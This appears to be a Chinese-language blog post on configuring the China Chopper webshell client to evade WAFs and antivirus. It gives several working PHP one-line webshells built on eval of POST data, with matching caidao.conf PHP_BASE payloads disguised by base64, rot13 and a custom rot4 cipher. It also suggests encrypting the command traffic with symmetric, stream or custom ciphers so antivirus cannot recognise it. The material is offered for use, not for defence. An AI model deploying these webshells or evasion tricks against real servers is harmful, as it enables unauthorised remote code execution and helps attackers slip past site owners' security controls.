先參考我的這篇文章菜刀外部可見范圍的運行機理,否則有可能看不懂下面內容。
可以這樣設置caidao.conf 文件一些參數:
1、改 <FLAG>X@Y</FLAG> 為 <FLAG>`@~</FLAG> // 防殺軟識別,菜刀太有名了,有可能殺軟加入了這個字符串的檢測呢(還可以是: ~>$)
2、<PHP_BASE>
</PHP_BASE>
%s
</PHP_BASE> # 沒什么大用,只是可以這么操作
木馬端依然是:<?php @eval(base64_decode($_POST['caidao']));?>
下面介紹,如何改 <PHP_BASE> 標簽,更容易過 waf:
要想改這個標簽,而且菜刀能正常使用需注意以下三點:
1、菜刀是base64加過密的,這個可能是caidao.exe 決定的,所以不可改變,因此菜刀傳出的代碼必須base64解密,
如類似:base64_decode($_POST[id]) 之類
2、目標服務器接收端必須有如:$_POST[mima] 字樣
3、接收端還必須有:eval 等執行PHP代碼的命令或函數存在
這里有一個好玩的嘗試,可否菜刀端用 get 請求,服務器端也用 get 請求,贊未嘗試
方法有對菜刀輸出的命令數據流加解密:
1、使用base64再次加解密,或柵欄密碼、凱撒密碼、仿射密碼、維吉尼亞密碼等古典密碼加解密
2、使用DES、AES等對稱分組密碼加解密
3、RC4等序列密碼加解密
4、RSA等非對稱密碼加解密
5、可好玩的是組合上述加密算法,自己寫加解密算法,沒必要寫太難的加密算法,只要對2、3、4中
那些現代加密算法的循環次數稍微改變一下就行了,反正只要殺軟調用已知解密算法無法識別數據流,那殺軟有
什么理由攔截你
加密算法那就研究 應用密碼學 這本書吧。
參考鏈接: 過狗菜刀原理以及繞過魔術引號的配置
中國菜刀20160620初體驗
PS:
使用過的 <PHP_BASE> 的標簽和對應的一句話木馬:
1、eval(base64_decode($_POST[id]));&id=%s // 此行不能少了eval,不知道為什么,如果少了eval 會出現菜刀base64加密后再解密出現亂碼的錯誤。
<?php eval($_POST['caidao'])?>
2、eval(base64_decode('%s')); // 此行 %s 用單、雙引號皆可
<?php eval($_POST['caidao'])?> // 注意,很多時候我會忘了給一句話加 @ ,自己加上就是
3、cmlueShvbmZyNjRfcXJwQnFSKCRfQ0JGR1t2cV0pKTs%%3D&id=%s
(實際上是:對 eval(base64_decOdE($_POST[id])); str_rot13加密 再 base64編碼 > url 編碼)
<?php @eval(str_rot13(base64_DeCode($_POST['caidao'])))?>
4、自己寫的簡單加密:
izep,fewi:8chigshi,(cTSWX_mha--?&id=%s
(實際上是:對 eval(base64_decode($_POST[id])); 在ascii 碼[32,126]之間的字符循環后移4位)
@eval(str_rot4_decode($_POST['caidao'])); 這個是一句話木馬代碼,其中 str_rot4_decode 是自寫解密函數。
# 這個自寫解密函數只是個例子,還可以寫更復雜的加解密算法。